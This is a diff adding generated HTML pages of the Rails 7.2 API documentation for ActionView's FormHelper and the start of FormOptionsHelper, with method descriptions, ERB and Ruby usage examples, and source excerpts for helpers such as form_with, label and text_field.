+ +
<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+  ...
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 435
+      def form_for(record, options = {}, &block)
+        raise ArgumentError, "Missing block" unless block_given?
+
+        case record
+        when String, Symbol
+          model       = false
+          object_name = record
+        else
+          model       = record
+          object      = _object_for_form_builder(record)
+          raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
+          object_name = options[:as] || model_name_from_record_or_class(object).param_key
+          apply_form_for_options!(object, options)
+        end
+
+        remote = options.delete(:remote)
+
+        if remote && !embed_authenticity_token_in_remote_forms && options[:authenticity_token].blank?
+          options[:authenticity_token] = false
+        end
+
+        options[:model]                               = model
+        options[:scope]                               = object_name
+        options[:local]                               = !remote
+        options[:skip_default_ids]                    = false
+        options[:allow_method_names_outside_object]   = options.fetch(:allow_method_names_outside_object, false)
+
+        form_with(**options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + form_with(model: false, scope: nil, url: nil, format: nil, **options, &block) + +

+ + +
+

Creates a form tag based on mixing URLs, scopes, or models.

+ +
# Using just a URL:
+<%= form_with url: articles_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+# =>
+<form action="/articles" method="post">
+  <input type="text" name="title" />
+</form>
+
+# With an intentionally empty URL:
+<%= form_with url: false do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+# =>
+<form method="post">
+  <input type="text" name="title" />
+</form>
+
+# Adding a scope prefixes the input field names:
+<%= form_with scope: :article, url: articles_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+# =>
+<form action="/articles" method="post">
+  <input type="text" name="article[title]" />
+</form>
+
+# Using a model infers both the URL and scope:
+<%= form_with model: Article.new do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+# =>
+<form action="/articles" method="post">
+  <input type="text" name="article[title]" />
+</form>
+
+# An existing model makes an update form and fills out field values:
+<%= form_with model: Article.first do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+# =>
+<form action="/articles/1" method="post">
+  <input type="hidden" name="_method" value="patch" />
+  <input type="text" name="article[title]" value="<the title of the article>" />
+</form>
+# Though the fields don't have to correspond to model attributes:
+<%= form_with model: Cat.new do |form| %>
+  <%= form.text_field :cats_dont_have_gills %>
+  <%= form.text_field :but_in_forms_they_can %>
+<% end %>
+# =>
+<form action="/cats" method="post">
+  <input type="text" name="cat[cats_dont_have_gills]" />
+  <input type="text" name="cat[but_in_forms_they_can]" />
+</form>
+
+ +

The parameters in the forms are accessible in controllers according to their name nesting. So inputs named title and article[title] are accessible as params[:title] and params[:article][:title] respectively.

+ +

For ease of comparison the examples above left out the submit button, as well as the auto generated hidden fields that enable UTF-8 support and adds an authenticity token needed for cross site request forgery protection.

+ +

Resource-oriented style

+ +

In many of the examples just shown, the :model passed to form_with is a resource. It corresponds to a set of RESTful routes, most likely defined via resources in config/routes.rb.

+ +

So when passing such a model record, Rails infers the URL and method.

+ +
<%= form_with model: @article do |form| %>
+  ...
+<% end %>
+
+ +

is then equivalent to something like:

+ +
<%= form_with scope: :article, url: article_path(@article), method: :patch do |form| %>
+  ...
+<% end %>
+
+ +

And for a new record

+ +
<%= form_with model: Article.new do |form| %>
+  ...
+<% end %>
+
+ +

is equivalent to something like:

+ +
<%= form_with scope: :article, url: articles_path do |form| %>
+  ...
+<% end %>
+
+ +

form_with options

+
  • +

    :url - The URL the form submits to. Akin to values passed to url_for or link_to. For example, you may use a named route directly. When a :scope is passed without a :url the form just submits to the current URL.

    +
  • +

    :method - The method to use when submitting the form, usually either β€œget” or β€œpost”. If β€œpatch”, β€œput”, β€œdelete”, or another verb is used, a hidden input named _method is added to simulate the verb over post.

    +
  • +

    :format - The format of the route the form submits to. Useful when submitting to another resource type, like :json. Skipped if a :url is passed.

    +
  • +

    :scope - The scope to prefix input field names with and thereby how the submitted parameters are grouped in controllers.

    +
  • +

    :namespace - A namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

    +
  • +

    :model - A model object to infer the :url and :scope by, plus fill out input field values. So if a title attribute is set to β€œAhoy!” then a title input field’s value would be β€œAhoy!”. If the model is a new record a create form is generated, if an existing record, however, an update form is generated. Pass :scope or :url to override the defaults. E.g. turn params[:article] into params[:blog].

    +
  • +

    :authenticity_token - Authenticity token to use in the form. Override with a custom authenticity token or pass false to skip the authenticity token field altogether. Useful when submitting to an external resource like a payment gateway that might limit the valid fields. Remote forms may omit the embedded authenticity token by setting config.action_view.embed_authenticity_token_in_remote_forms = false. This is helpful when fragment-caching the form. Remote forms get the authenticity token from the meta tag, so embedding is unnecessary unless you support browsers without JavaScript.

    +
  • +

    :local - Whether to use standard HTTP form submission. When set to true, the form is submitted via standard HTTP. When set to false, the form is submitted as a β€œremote form”, which is handled by Rails UJS as an XHR. When unspecified, the behavior is derived from config.action_view.form_with_generates_remote_forms where the config’s value is actually the inverse of what localβ€˜s value would be. As of Rails 6.1, that configuration option defaults to false (which has the equivalent effect of passing local: true). In previous versions of Rails, that configuration option defaults to true (the equivalent of passing local: false).

    +
  • +

    :skip_enforcing_utf8 - If set to true, a hidden input with name utf8 is not output.

    +
  • +

    :builder - Override the object used to build the form.

    +
  • +

    :id - Optional HTML id attribute.

    +
  • +

    :class - Optional HTML class attribute.

    +
  • +

    :data - Optional HTML data attributes.

    +
  • +

    :html - Other optional HTML attributes for the form tag.

    +
+ +

Examples

+ +

When not passing a block, form_with just generates an opening form tag.

+ +
<%= form_with(model: @article, url: super_articles_path) %>
+<%= form_with(model: @article, scope: :blog) %>
+<%= form_with(model: @article, format: :json) %>
+<%= form_with(model: @article, authenticity_token: false) %> # Disables the token.
+
+ +

For namespaced routes, like admin_article_url:

+ +
<%= form_with(model: [ :admin, @article ]) do |form| %>
+  ...
+<% end %>
+
+ +

If your resource has associations defined, for example, you want to add comments to the document given that the routes are set correctly:

+ +
<%= form_with(model: [ @document, Comment.new ]) do |form| %>
+  ...
+<% end %>
+
+ +

Where @document = Document.find(params[:id]).

+ +

Mixing with other form helpers

+ +

While form_with uses a FormBuilder object it’s possible to mix and match the stand-alone FormHelper methods and methods from FormTagHelper:

+ +
<%= form_with scope: :person do |form| %>
+  <%= form.text_field :first_name %>
+  <%= form.text_field :last_name %>
+
+  <%= text_area :person, :biography %>
+  <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+
+  <%= form.submit %>
+<% end %>
+
+ +

Same goes for the methods in FormOptionsHelper and DateHelper designed to work with an object as a base, like FormOptionsHelper#collection_select and DateHelper#datetime_select.

+ +

Setting the method

+ +

You can force the form to use the full array of HTTP verbs by setting

+ +
method: (:get|:post|:patch|:put|:delete)
+
+ +

in the options hash. If the verb is not GET or POST, which are natively supported by HTML forms, the form will be set to POST and a hidden input called _method will carry the intended verb for the server to interpret.

+ +

Setting HTML options

+ +

You can set data attributes directly in a data hash, but HTML options besides id and class must be wrapped in an HTML key:

+ +
<%= form_with(model: @article, data: { behavior: "autosave" }, html: { name: "go" }) do |form| %>
+  ...
+<% end %>
+
+ +

generates

+ +
<form action="/articles/123" method="post" data-behavior="autosave" name="go">
+  <input name="_method" type="hidden" value="patch" />
+  ...
+</form>
+
+ +

Removing hidden model id’s

+ +

The form_with method automatically includes the model id as a hidden field in the form. This is used to maintain the correlation between the form data and its associated model. Some ORM systems do not use IDs on nested models so in this case you want to be able to disable the hidden id.

+ +

In the following example the Article model has many Comments stored within it in a NoSQL database, thus there is no primary key for comments.

+ +
<%= form_with(model: @article) do |form| %>
+  <%= form.fields(:comments, skip_id: true) do |fields| %>
+    ...
+  <% end %>
+<% end %>
+
+ +

Customized form builders

+ +

You can also build forms using a customized FormBuilder class. Subclass FormBuilder and override or define some more helpers, then use your custom builder. For example, let’s say you made a helper to automatically add labels to form inputs.

+ +
<%= form_with model: @person, url: { action: "create" }, builder: LabellingFormBuilder do |form| %>
+  <%= form.text_field :first_name %>
+  <%= form.text_field :last_name %>
+  <%= form.text_area :biography %>
+  <%= form.check_box :admin %>
+  <%= form.submit %>
+<% end %>
+
+ +

In this case, if you use:

+ +
<%= render form %>
+
+ +

The rendered template is people/_labelling_form and the local variable referencing the form builder is called labelling_form.

+ +

The custom FormBuilder class is automatically merged with the options of a nested fields call, unless it’s explicitly set.

+ +

In many cases you will want to wrap the above in another helper, so you could do something like the following:

+ +
def labelled_form_with(**options, &block)
+  form_with(**options.merge(builder: LabellingFormBuilder), &block)
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 755
+      def form_with(model: false, scope: nil, url: nil, format: nil, **options, &block)
+        ActionView.deprecator.warn("Passing nil to the :model argument is deprecated and will raise in Rails 8.0") if model.nil?
+
+        options = { allow_method_names_outside_object: true, skip_default_ids: !form_with_generates_ids }.merge!(options)
+
+        if model
+          if url != false
+            url ||= if format.nil?
+              polymorphic_path(model, {})
+            else
+              polymorphic_path(model, format: format)
+            end
+          end
+
+          model   = convert_to_model(_object_for_form_builder(model))
+          scope ||= model_name_from_record_or_class(model).param_key
+        end
+
+        if block_given?
+          builder = instantiate_builder(scope, model, options)
+          output  = capture(builder, &block)
+          options[:multipart] ||= builder.multipart?
+
+          html_options = html_options_for_form_with(url, model, **options)
+          form_tag_with_body(html_options, output)
+        else
+          html_options = html_options_for_form_with(url, model, **options)
+          form_tag_html(html_options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hidden_field(object_name, method, options = {}) + +

+ + +
+

Returns a hidden input tag tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). Additional options on the input tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown.

+ +

Examples

+ +
hidden_field(:signup, :pass_confirm)
+# => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+
+hidden_field(:article, :tag_list)
+# => <input type="hidden" id="article_tag_list" name="article[tag_list]" value="#{@article.tag_list}" />
+
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1214
+      def hidden_field(object_name, method, options = {})
+        Tags::HiddenField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + label(object_name, method, content_or_options = nil, options = nil, &block) + +

+ + +
+

Returns a label tag tailored for labelling an input field for a specified attribute (identified by method) on an object assigned to the template (identified by object). The text of label will default to the attribute name unless a translation is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly. Additional options on the label tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown, except for the :value option, which is designed to target labels for radio_button tags (where the value is used in the ID of the input tag).

+ +

Examples

+ +
label(:article, :title)
+# => <label for="article_title">Title</label>
+
+ +

You can localize your labels based on model and attribute names. For example you can define the following in your locale (e.g. en.yml)

+ +
helpers:
+  label:
+    article:
+      body: "Write your entire text here"
+
+ +

Which then will result in

+ +
label(:article, :body)
+# => <label for="article_body">Write your entire text here</label>
+
+ +

Localization can also be based purely on the translation of the attribute-name (if you are using ActiveRecord):

+ +
activerecord:
+  attributes:
+    article:
+      cost: "Total cost"
+
+ +

+ +
label(:article, :cost)
+# => <label for="article_cost">Total cost</label>
+
+label(:article, :title, "A short title")
+# => <label for="article_title">A short title</label>
+
+label(:article, :title, "A short title", class: "title_label")
+# => <label for="article_title" class="title_label">A short title</label>
+
+label(:article, :privacy, "Public Article", value: "public")
+# => <label for="article_privacy_public">Public Article</label>
+
+label(:article, :cost) do |translation|
+  content_tag(:span, translation, class: "cost_label")
+end
+# => <label for="article_cost"><span class="cost_label">Total cost</span></label>
+
+label(:article, :cost) do |builder|
+  content_tag(:span, builder.translation, class: "cost_label")
+end
+# => <label for="article_cost"><span class="cost_label">Total cost</span></label>
+
+label(:article, :terms) do
+  raw('Accept <a href="/terms">Terms</a>.')
+end
+# => <label for="article_terms">Accept <a href="/terms">Terms</a>.</label>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1151
+      def label(object_name, method, content_or_options = nil, options = nil, &block)
+        Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + month_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œmonth”.

+ +
month_field("user", "born_on")
+# => <input id="user_born_on" name="user[born_on]" type="month" />
+
+ +

The default value is generated by trying to call strftime with β€œ%Y-%m” on the object’s value, which makes it behave as expected for instances of DateTime and ActiveSupport::TimeWithZone.

+ +
@user.born_on = Date.new(1984, 1, 27)
+month_field("user", "born_on")
+# => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1531
+      def month_field(object_name, method, options = {})
+        Tags::MonthField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_field(object_name, method, options = {}) + +

+ + +
+

Returns an input tag of type β€œnumber”.

+ +

Options

+ +

Supports the same options as FormTagHelper#number_field_tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1575
+      def number_field(object_name, method, options = {})
+        Tags::NumberField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + password_field(object_name, method, options = {}) + +

+ + +
+

Returns an input tag of the β€œpassword” type tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). Additional options on the input tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown. For security reasons this field is blank by default; pass in a value via options if this is not desired.

+ +

Examples

+ +
password_field(:login, :pass, size: 20)
+# => <input type="password" id="login_pass" name="login[pass]" size="20" />
+
+password_field(:account, :secret, class: "form_input", value: @account.secret)
+# => <input type="password" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
+
+password_field(:user, :password, onchange: "if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }")
+# => <input type="password" id="user_password" name="user[password]" onchange="if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }"/>
+
+password_field(:account, :pin, size: 20, class: 'form_input')
+# => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1196
+      def password_field(object_name, method, options = {})
+        Tags::PasswordField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + phone_field(object_name, method, options = {}) + +

+ + +
+

aliases telephone_field

+
+ + + + + +
+ Alias for: telephone_field +
+ + + + +
+ +
+

+ + radio_button(object_name, method, tag_value, options = {}) + +

+ + +
+

Returns a radio button tag for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). If the current value of method is tag_value the radio button will be checked.

+ +

To force the radio button to be checked pass checked: true in the options hash. You may pass HTML options there as well.

+ +
# Let's say that @article.category returns "rails":
+radio_button("article", "category", "rails")
+radio_button("article", "category", "java")
+# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+#    <input type="radio" id="article_category_java" name="article[category]" value="java" />
+
+# Let's say that @user.receive_newsletter returns "no":
+radio_button("user", "receive_newsletter", "yes")
+radio_button("user", "receive_newsletter", "no")
+# => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+#    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1367
+      def radio_button(object_name, method, tag_value, options = {})
+        Tags::RadioButton.new(object_name, method, self, tag_value, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + range_field(object_name, method, options = {}) + +

+ + +
+

Returns an input tag of type β€œrange”.

+ +

Options

+ +

Supports the same options as FormTagHelper#range_field_tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1584
+      def range_field(object_name, method, options = {})
+        Tags::RangeField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rich_text_area(object_name, method, options = {}) + +

+ + +
+

Returns a trix-editor tag that instantiates the Trix JavaScript editor as well as a hidden field that Trix will write to on changes, so the content will be sent on form submissions.

+ +

Options

+
  • +

    :class - Defaults to β€œtrix-content” which ensures default styling is applied.

    +
  • +

    :value - Adds a default value to the HTML input tag.

    +
  • +

    [:data][:direct_upload_url] - Defaults to rails_direct_uploads_url.

    +
  • +

    [:data][:blob_url_template] - Defaults to rails_service_blob_url(":signed_id", ":filename").

    +
+ +

Example

+ +
rich_text_area :message, :content
+# <input type="hidden" name="message[content]" id="message_content_trix_input_message_1">
+# <trix-editor id="content" input="message_content_trix_input_message_1" class="trix-content" ...></trix-editor>
+
+rich_text_area :message, :content, value: "<h1>Default message</h1>"
+# <input type="hidden" name="message[content]" id="message_content_trix_input_message_1" value="<h1>Default message</h1>">
+# <trix-editor id="content" input="message_content_trix_input_message_1" class="trix-content" ...></trix-editor>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/tag_helper.rb, line 86
+    def rich_text_area(object_name, method, options = {})
+      Tags::ActionText.new(object_name, method, self, options).render
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + search_field(object_name, method, options = {}) + +

+ + +
+

Returns an input of type β€œsearch” for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object_name). Inputs of type β€œsearch” may be styled differently by some browsers.

+ +
search_field(:user, :name)
+# => <input id="user_name" name="user[name]" type="search" />
+search_field(:user, :name, autosave: false)
+# => <input autosave="false" id="user_name" name="user[name]" type="search" />
+search_field(:user, :name, results: 3)
+# => <input id="user_name" name="user[name]" results="3" type="search" />
+#  Assume request.host returns "www.example.com"
+search_field(:user, :name, autosave: true)
+# => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
+search_field(:user, :name, onsearch: true)
+# => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+search_field(:user, :name, autosave: false, onsearch: true)
+# => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+search_field(:user, :name, autosave: true, onsearch: true)
+# => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1398
+      def search_field(object_name, method, options = {})
+        Tags::SearchField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + telephone_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œtel”.

+ +
telephone_field("user", "phone")
+# => <input id="user_phone" name="user[phone]" type="tel" />
+
+
+ + + +
+ Also aliased as: phone_field +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1407
+      def telephone_field(object_name, method, options = {})
+        Tags::TelField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + text_area(object_name, method, options = {}) + +

+ + +
+

Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). Additional options on the input tag can be passed as a hash with options.

+ +

Examples

+ +
text_area(:article, :body, cols: 20, rows: 40)
+# => <textarea cols="20" rows="40" id="article_body" name="article[body]">
+#      #{@article.body}
+#    </textarea>
+
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+#      #{@comment.text}
+#    </textarea>
+
+text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
+# => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
+#      #{@application.notes}
+#    </textarea>
+
+text_area(:entry, :body, size: "20x20", disabled: 'disabled')
+# => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
+#      #{@entry.body}
+#    </textarea>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1277
+      def text_area(object_name, method, options = {})
+        Tags::TextArea.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + text_field(object_name, method, options = {}) + +

+ + +
+

Returns an input tag of the β€œtext” type tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). Additional options on the input tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown.

+ +

Examples

+ +
text_field(:article, :title, size: 20)
+# => <input type="text" id="article_title" name="article[title]" size="20" value="#{@article.title}" />
+
+text_field(:article, :title, class: "create_input")
+# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" class="create_input" />
+
+text_field(:article, :title,  maxlength: 30, class: "title_input")
+# => <input type="text" id="article_title" name="article[title]" maxlength="30" size="30" value="#{@article.title}" class="title_input" />
+
+text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
+# => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
+
+text_field(:snippet, :code, size: 20, class: 'code_input')
+# => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1175
+      def text_field(object_name, method, options = {})
+        Tags::TextField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œtime”.

+ +

The default value is generated by trying to call strftime with β€œ%T.%L” on the object’s value. If you pass include_seconds: false, it will be formatted by trying to call strftime with β€œ%H:%M” on the object’s value. It is also possible to override this by passing the β€œvalue” option.

+ +

Options

+ +

Supports the same options as FormTagHelper#time_field_tag.

+ +

Examples

+ +
time_field("task", "started_at")
+# => <input id="task_started_at" name="task[started_at]" type="time" />
+
+ +

You can create values for the β€œmin” and β€œmax” attributes by passing instances of Date or Time to the options hash.

+ +
time_field("task", "started_at", min: Time.now)
+# => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+
+ +

Alternatively, you can pass a String formatted as an ISO8601 time as the values for β€œmin” and β€œmax.”

+ +
time_field("task", "started_at", min: "01:00:00")
+# => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+
+ +

By default, provided times will be formatted including seconds. You can render just the hour and minute by passing include_seconds: false. Some browsers will render a simpler UI if you exclude seconds in the timestamp format.

+ +
time_field("task", "started_at", value: Time.now, include_seconds: false)
+# => <input id="task_started_at" name="task[started_at]" type="time" value="01:00" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1477
+      def time_field(object_name, method, options = {})
+        Tags::TimeField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œurl”.

+ +
url_field("user", "homepage")
+# => <input id="user_homepage" name="user[homepage]" type="url" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1557
+      def url_field(object_name, method, options = {})
+        Tags::UrlField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + week_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œweek”.

+ +
week_field("user", "born_on")
+# => <input id="user_born_on" name="user[born_on]" type="week" />
+
+ +

The default value is generated by trying to call strftime with β€œ%Y-W%W” on the object’s value, which makes it behave as expected for instances of DateTime and ActiveSupport::TimeWithZone.

+ +
@user.born_on = Date.new(1984, 5, 12)
+week_field("user", "born_on")
+# => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1548
+      def week_field(object_name, method, options = {})
+        Tags::WeekField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/FormOptionsHelper.html b/src/7.2/classes/ActionView/Helpers/FormOptionsHelper.html new file mode 100644 index 0000000000..d2ef88d001 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/FormOptionsHelper.html @@ -0,0 +1,1266 @@ +--- +title: ActionView::Helpers::FormOptionsHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Form Option Helpers

+ +

Provides a number of methods for turning different kinds of containers into a set of option tags.

+ +

The collection_select, select and time_zone_select methods take an options parameter, a hash:

+
  • +

    :include_blank - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.

    + +
    select(:post, :category, Post::CATEGORIES, { include_blank: true })
    +
    + +

    could become:

    + +
    <select name="post[category]" id="post_category">
    +  <option value="" label=" "></option>
    +  <option value="joke">joke</option>
    +  <option value="poem">poem</option>
    +</select>
    +
    + +

    Another common case is a select tag for a belongs_to-associated object.

    + +

    Example with @post.person_id => 2:

    + +
    select(:post, :person_id, Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: "None" })
    +
    + +

    could become:

    + +
    <select name="post[person_id]" id="post_person_id">
    +  <option value="">None</option>
    +  <option value="1">David</option>
    +  <option value="2" selected="selected">Eileen</option>
    +  <option value="3">Rafael</option>
    +</select>
    +
    +
  • +

    :prompt - set to true or a prompt string. When the select element doesn’t have a value yet, this prepends an option with a generic prompt – β€œPlease select” – or the given prompt string.

    + +
    select(:post, :person_id, Person.all.collect { |p| [ p.name, p.id ] }, { prompt: "Select Person" })
    +
    + +

    could become:

    + +
    <select name="post[person_id]" id="post_person_id">
    +  <option value="">Select Person</option>
    +  <option value="1">David</option>
    +  <option value="2">Eileen</option>
    +  <option value="3">Rafael</option>
    +</select>
    +
    +
  • +

    :index - like the other form helpers, select can accept an :index option to manually set the ID used in the resulting output. Unlike other helpers, select expects this option to be in the html_options parameter.

    + +
    select("album[]", :genre, %w[ rap rock country ], {}, { index: nil })
    +
    + +

    becomes:

    + +
    <select name="album[][genre]" id="album__genre">
    +  <option value="rap">rap</option>
    +  <option value="rock">rock</option>
    +  <option value="country">country</option>
    +</select>
    +
    +
  • +

    :disabled - can be a single value or an array of values that will be disabled options in the final output.

    + +
    select(:post, :category, Post::CATEGORIES, { disabled: "restricted" })
    +
    + +

    could become:

    + +
    <select name="post[category]" id="post_category">
    +  <option value="joke">joke</option>
    +  <option value="poem">poem</option>
    +  <option disabled="disabled" value="restricted">restricted</option>
    +</select>
    +
    + +

    When used with the collection_select helper, :disabled can also be a Proc that identifies those options that should be disabled.

    + +
    collection_select(:post, :category_id, Category.all, :id, :name, { disabled: -> (category) { category.archived? } })
    +
    + +

    If the categories β€œ2008 stuff” and β€œChristmas” return true when the method archived? is called, this would return:

    + +
    <select name="post[category_id]" id="post_category_id">
    +  <option value="1" disabled="disabled">2008 stuff</option>
    +  <option value="2" disabled="disabled">Christmas</option>
    +  <option value="3">Jokes</option>
    +  <option value="4">Poems</option>
    +</select>
    +
    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block) + +

+ + +
+

Returns check box tags for the collection of existing return values of method for objectβ€˜s class. The value returned from calling method on the instance object will be selected. If calling method returns nil, no selection is made.

+ +

The :value_method and :text_method parameters are methods to be called on each member of collection. The return values are used as the value attribute and contents of each check box tag, respectively. They can also be any object that responds to call, such as a proc, that will be called for each member of the collection to retrieve the value/text.

+ +

Example object structure for use with this method:

+ +
class Post < ActiveRecord::Base
+  has_and_belongs_to_many :authors
+end
+class Author < ActiveRecord::Base
+  has_and_belongs_to_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+ +

Sample usage (selecting the associated Author for an instance of Post, @post):

+ +
collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+
+ +

If @post.author_ids is already [1], this would return:

+ +
<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="post_author_ids_1">D. Heinemeier Hansson</label>
+<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+<label for="post_author_ids_2">D. Thomas</label>
+<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+<label for="post_author_ids_3">M. Clark</label>
+<input name="post[author_ids][]" type="hidden" value="" />
+
+ +

It is also possible to customize the way the elements will be shown by giving a block to the method:

+ +
collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+  b.label { b.check_box }
+end
+
+ +

The argument passed to the block is a special kind of builder for this collection, which has the ability to generate the label and check box for the current item in the collection, with proper text and value. Using it, you can change the label and check box display order or even use the label as wrapper, as in the example above.

+ +

The builder methods label and check_box also accept extra HTML options:

+ +
collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+  b.label(class: "check_box") { b.check_box(class: "check_box") }
+end
+
+ +

